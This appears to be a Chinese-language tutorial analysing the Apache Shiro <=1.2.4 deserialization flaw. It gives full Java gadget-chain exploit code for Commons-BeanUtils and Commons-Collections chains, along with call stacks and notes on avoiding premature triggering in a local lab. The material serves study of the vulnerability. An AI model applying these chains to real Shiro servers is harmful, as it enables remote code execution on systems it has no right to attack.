shiro结合CB与CC
字数 1389 2025-08-10 23:41:50
Apache Shiro反序列化漏洞分析与利用教学文档
1. 漏洞简介
Apache Shiro是一个强大且易用的Java安全框架,提供身份验证、授权、密码和会话管理功能。在版本<=1.2.4中存在反序列化漏洞,攻击者可以利用固定编码的Key构造恶意序列化数据,结合其他依赖库实现远程代码执行。
2. 环境搭建
2.1 项目准备
- 项目地址:https://github.com/apache/shiro (使用版本<=1.2.4)
- 修改
shiro/samples/web目录下的pom.xml,添加jstl依赖以避免JSP解析错误:
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
<scope>provided</scope>
</dependency>
2.2 必要依赖
漏洞利用需要以下依赖:
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
3. 漏洞利用方式
3.1 基于Commons-Beanutils(CB)的利用
3.1.1 EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CBtest {
public static void main(String[] args) throws Exception {
// 读取恶意字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
// 构造TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "360");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造BeanComparator
BeanComparator beanComparator = new BeanComparator();
// 构造PriorityQueue并添加初始值
PriorityQueue queue = new PriorityQueue(360, beanComparator);
queue.add(1);
queue.add(1);
// 反射修改为恶意值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 序列化和反序列化测试
serialize(queue);
unserialize("serCB.bin");
}
// 辅助方法:反射设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCB.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
3.1.2 调用栈分析
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeMethod:2116, PropertyUtilsBean
getSimpleProperty:1267, PropertyUtilsBean
getNestedProperty:808, PropertyUtilsBean
getProperty:884, PropertyUtilsBean
getProperty:464, PropertyUtils
compare:163, BeanComparator
siftDownUsingComparator:721, PriorityQueue
siftDown:687, PriorityQueue
heapify:736, PriorityQueue
readObject:795, PriorityQueue
...
3.1.3 漏洞原理
PriorityQueue的readObject方法会调用heapify方法heapify调用siftDown,进而调用siftDownUsingComparator- 执行
comparator.compare方法(即BeanComparator.compare) PropertyUtils.getProperty会执行任意对象的getter方法- 通过
TemplatesImpl的getOutputProperties方法触发代码执行
3.2 基于Commons-Collections(CC)的利用
3.2.1 EXP代码
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CCtest {
public static void main(String[] args) throws Exception {
// 读取恶意字节码
byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
// 构造TemplatesImpl对象
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "calc");
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 构造InvokerTransformer
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
// 构造LazyMap
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
// 构造TiedMapEntry
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
// 构造触发HashMap
HashMap<Object,Object> map1 = new HashMap<>();
map1.put(tiedMapEntry, "bbb");
// 清除key避免提前触发
lazymap.remove(templates);
// 反射修改LazyMap的factory为InvokerTransformer
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap, invokerTransformer);
// 序列化和反序列化测试
serialize(map1);
unserialize("serCC.bin");
}
// 辅助方法:反射设置字段值
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
// 序列化方法
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCC.bin"));
oos.writeObject(obj);
}
// 反序列化方法
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
return ois.readObject();
}
}
3.2.2 调用栈分析
transform:133, InvokerTransformer
get:158, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
readObject:1397, HashMap
...
3.2.3 漏洞原理
HashMap的readObject方法会调用hash()方法hash()方法调用key.hashCode()(即TiedMapEntry.hashCode())TiedMapEntry.hashCode()调用getValue()getValue()调用map.get(key)(即LazyMap.get())LazyMap.get()调用factory.transform(key)(即InvokerTransformer.transform())- 通过反射调用
TemplatesImpl.newTransformer()触发代码执行
4. 关键注意事项
-
CB利用链注意事项:
- 需要先给
beanComparator和queue赋正常值 - 在
queue.add()完成后才反射修改为恶意值,避免提前触发 - 关键代码段:
BeanComparator beanComparator = new BeanComparator(); PriorityQueue queue = new PriorityQueue(360, beanComparator); queue.add(1); queue.add(1); setFieldValue(beanComparator, "property", "outputProperties"); setFieldValue(queue, "queue", new Object[]{templates, templates});
- 需要先给
-
CC利用链注意事项:
TiedMapEntry构造函数会将key赋值给lazyMap的key- 需要在构造完成后清除key,避免流程无法进入if语句
- 关键代码段:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates); lazymap.remove(templates);
-
调试注意事项:
- IDEA可能会自动触发某些函数导致payload提前执行
- 断点位置会影响调试流程,需要选择合适的断点位置
5. 总结
Apache Shiro反序列化漏洞可以通过多种方式利用,本文详细分析了基于Commons-Beanutils和Commons-Collections的两种利用方式。理解这些利用链的关键在于掌握Java反序列化机制和各个库的内部实现细节。在实际利用时,需要注意避免payload提前触发,并正确处理各个对象的构造顺序和反射修改时机。